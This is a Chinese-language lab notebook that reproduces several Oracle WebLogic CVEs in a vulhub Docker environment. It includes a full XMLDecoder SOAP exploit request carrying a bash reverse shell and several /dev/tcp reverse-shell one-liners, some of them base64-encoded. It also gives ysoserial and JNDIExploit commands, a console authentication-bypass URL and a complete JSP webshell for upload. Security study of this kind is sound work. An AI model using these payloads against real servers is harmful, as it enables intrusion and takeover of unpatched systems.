Weblogic

简要介绍

https://blog.csdn.net/rumil/article/details/133036788

https://www.freebuf.com/articles/web/372568.html

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击（开放Weblogic控制台的7001端口，默认会开启T3协议服务，T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞，攻击者可以发送构造的恶意T3协议数据，获取目标服务器权限。）

T3协议缺陷实现了Java虚拟机的远程方法调用（RMI）,能够在本地虚拟机上调用远端代码。

T3协议：

用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机，要将流量传输到Java虚拟机，Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率，从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小，提高传输速度。

RMI方法：

远程方法调用，除了该对象本身的虚拟机，其它的虚拟机也可以调用该对象的方法。（对象的虚拟化和反序列化广泛应用到RMI和网络传输中）

JRMP：

Java远程消息交换协议JRMP。

JRMP是一个Java远程方法协议，该协议基于TCP/IP之上，RMI协议之下。也就是说RMI该协议传递时底层使用的是JRMP协议，而JRMP底层则是基于TCP传递。

RMI默认使用的JRMP进行传递数据，并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议，而在Weblogic里面的T3协议其实也是基于RMI去进行实现的。

CVE-2017-10271

简要介绍：https://www.cnblogs.com/chen-w/p/14652153.html

漏洞成因

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

环境搭建

首先使用docker起一个weblogic CVE-2017-1027的环境，进入到vulhub/weblogic/CVE-2017-1027

docker-compose up -d

启动成功后

image-20240716213102663

docker ps -a

查看运行状态

image-20240716213125924

接着去访问本机的7001端口，出现如下页面，说明服务成功开启：

image-20240716214217994

访问/wls-wsat/CoordinatorPortType

image-20240716214533663

可以先扫一下服务

nmap -sV 192.168.174.137

image-20240716222238125

用相关漏洞的扫描工具也可以

image-20240716222344082

漏洞poc

bash -i >& /dev/tcp/vpsip/ncport 0>&1

image-20240718205520947

能弹啊，docker为什么弹不了，还要配置网卡吗

发送如下数据包（注意其中反弹shell的语句，需要进行编码，否则解析XML的时候将出现格式错误）：

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.15:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.174.137/888 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
12345678910111213141516171819202122232425262728293031

CVE-2023-21839

漏洞描述

Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作，当JDK版本过低或本地存在javaSerializedData时，这可能会导致RCE漏洞。

WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

影响版本

WebLogic_Server = 12.2.1.3.0
WebLogic_Server = 12.2.1.4.0
WebLogic_Server = 14.1.1.0.0
CVE-2023-21839是一个weblogic的JNDI注入漏洞。

由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端，并且可以通过lookup查看，当远程对象继承自OpaqueReference时，lookup查看远程对象，服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法，并且存在retVal = context.lookup(this.remoteJNDIName)实现，故可以通过rmi/ldap远程协议进行远程命令执行。

环境搭建（最难的是找对应版本的jndi工具，还是自己理解合适，自己根据原理搭一个，但java不熟悉QAQ）

image-20240717095001438

访问靶场地址：

image-20240717095020526

Nmap扫描：

nmap -sV 192.168.174.137

image-20240717095129769

扫描验证T3是否开启：

nmap -n -v -p 7001,7002 192.168.174.137 --script=weblogic-t3-info

image-20240717095226815

开启LDAP和HTTP服务

ava -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.174.137	//攻击者ip

image-20240717224640807

监听端口（用于接收反弹的shell）

nc -lvvp 9999

image-20240717224800690

使用工具包

j教程使用的：GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)

这个下载下来要在linux环境下编译，windows下编译了好像不行用，不懂是什么问题

./CVE-2023-21839 -ip 192.168.174.137 -port 7001 -ldap ldap://192.168.174.137:1389/Basic/ReverseShell/192.168.174.137/9999

因为担心docker在虚拟机nat不通就没在外面测试了

image-20240717225351922

最后也是成功反弹shell了，这个java的漏洞的环境太难搭了

成功复现，记得关闭docker启动的镜像

关闭镜像

docker-compose stop

因为docker-compose up -d也是拉镜像启动，所以本地会有镜像保留，有些还挺大的，不需要的话可以删了

docker images
docker rmi -f 镜像id

CVE-2020-14750

https://cloud.tencent.com/developer/article/2168616

0x01 漏洞描述

- WebLogic Console权限认证绕过漏洞（CVE-2020-14750） -

Weblogic Server是Oracle公司的一款适用于云环境和传统环境的应用服务器，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。Oracle官方在2020年10月发布了关键补丁更新公告，其中包括一个CVE-2020-14750为 WebLogic Console权限认证绕过的漏洞CVE-2020-14882补丁的绕过漏洞，CVSS 评分 9.8 分。CVE-2020-14882 补丁被绕过后，攻击者就可以再度绕过Console控制台的权限校验，访问原本需要登录才可以访问的资源和接口功能。尽管 CVE-2020-14883 这个后台的任意代码执行漏洞已被修复，但攻击者依然可以通过寻找利用其他合适的后台接口漏洞，实现远程代码执行，从而获取服务器权限。

影响版本：

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0

0x03 漏洞验证

使用WeblogicScaner工具检测目标网站存在CVE-2020-14750漏洞。

python3 ws.py -t http://172.16.14.149:7001 -v CVE-2020-14750

构造特殊URL地址绕过WebLogic Console控制台权限进行访问：

image-20240718114246101

image-20240718114220535

http://172.16.14.149:7001/console/css/%25%32%65%25%32%65%25%32%66/console.portal

image-20240718114153961

CVE-2018-2894

https://blog.csdn.net/weixin_51198941/article/details/134193310

漏洞简介

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do

这里进后台的部分借用前面的漏洞

访问漏洞页面（需要手动设置一下环境设置Work Home Dir为，/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css)

http://172.16.14.149:7001/ws_utc/config.do

image-20240718123446376

点击安全 -> 添加，名字和密码可以随意设置，上传jsp木马文件（登录密码为fafa）；

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("fafa");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

image-20240718123559300

文件上传的路径为http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]，这里的时间戳获取方式有两种，其一为bp抓包查看，

image-20240718124112290

其二利用浏览器自带的检查获取，如下所示：

image-20240718123631916

http://172.16.14.149:7001/ws_utc/css/config/keystore/1721275902739_ma.jsp

这里的环境有点问题，待测，重新用docker起了环境，重复上述步骤

image-20240719104623897

这里先去靶场看看后台账户密码，默认管理员用户是weblogic，此处密码为h3L0YiTp

image-20240719104726677

输入账户密码，登录后台

image-20240719104859192

成功登录进去，点击base_domain可看到设置页面，然后点击高级，勾选启用Web服务测试页；

image-20240719105013862

点击保存

image-20240719105135228

访问漏洞页面http://192.168.174.137:7001/ws_utc/config.do（需要手动设置一下环境设置Work Home Dir为，/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css）

image-20240719105223765

点击安全 -> 添加，名字和密码可以随意设置，上传jsp木马文件（登录密码为rebeyond）；

image-20240719105321462

image-20240719105401564

文件上传的路径为http://192.168.174.137:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

image-20240719105432337

尝试访问文件地址，发现文件存在且可以正常访问

image-20240719105519747

冰蝎连接

image-20240719105611812

image-20240719105644878

成功获得shell

CVE-2018-2628

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作，利用RMI（远程方法调用） 机制的缺陷，通过 JRMP 协议（Java远程方法协议）达到执行任意反序列化代码，进而造成远程代码执行

同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

漏洞原理

在InboundMsgAbbrev中resolveProxyClass中，resolveProxyClass是处理rmi接口类型的，只判断了java.rmi.registry.Registry，这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP（Java Remote Method protocol），在这个PoC中会序列化一个RemoteObjectInvocationHandler，它会利用UnicastRef建立到远端的tcp连接获取RMI registry，加载回来再利用readObject解析，从而造成反序列化远程代码执行。

漏洞复现

docker-compose起环境，访问

image-20240718210439993

这里先使用nmap扫描一下是否开启了WebLogic T3服务

nmap -n -v -p 7001,7002 192.168.174.137 --script=weblogic-t3-info

image-20240718211002989

漏洞检测脚本，好多扫不出来，试试以前的旧版本

image-20240718231224408

image-20240718212511966

要专门这个探测工具才行。。但教程很多都是用旧版的ysoserial-0.1-cve-2018-2628-all，我试试新版的工具怎么用

https://blog.csdn.net/st3pby/article/details/135111050

启动JRMP Server（下面这个是练习）：

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 192.168.174.160 1099 CommonsCollections1 whoami

反弹shell命令：

bash -i >& /dev/tcp/192.168.174.160:9999 0>&1

base64编码https://ares-x.com/tools/runtime-exec

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i}

开启JMRP Server服务：

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

本地监听9999端口：

nc -lvvp 9999

这个payload还有点难生成xxd装不上记得更新下源

sudo apt-get update
java -jar ysoserial-all.jar JRMPClient 192.168.174.160:7777 | xxd -p | tr -d $'\n' && echo #JRMP监听的端口

和之前的比，payload没有2了是JRMPClient

image-20240718234851924

替换payload

image-20240718234930633

image-20240718234944773

半天没弹回来，保留一下，用别的方法测测

在攻击机设置好JRM服务,这里执行touch命令时，注意路径

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "touch /mytest.txt"

image-20240719000106128

打开weblogictool，如图设置好参数

image-20240719000143387

执行后，在docker容器里查看,yml文件在哪就在哪执行

docker-compose exec weblogic /bin/bash

image-20240719000226949

成功执行，那回到第一种方法，利用payload，重新走一遍

开启JMRP Server服务：

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xNjA6OTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

image-20240719090315802

更新payload,windows下没有环境，在linux中执行,前面好像执行错了，这里客户端的ip是靶机的ip

sudo java -jar ysoserial-all.jar JRMPClient 192.168.174.137:7777 | xxd -p | tr -d $'\n' && echo

image-20240719091031289

更换payload

image-20240719090714180

image-20240719091109057

使用 nc 进行监听本地的9999端口

nc -lvvp 9999

image-20240719091155144

执行poc还是不行，但后面在在kali测试好像就行了，python脚本执行完要过一会才有反弹回来。。

image-20240719101534297

image-20240719101931805

前面也弹回来了，是我没注意。。。

image-20240719102247152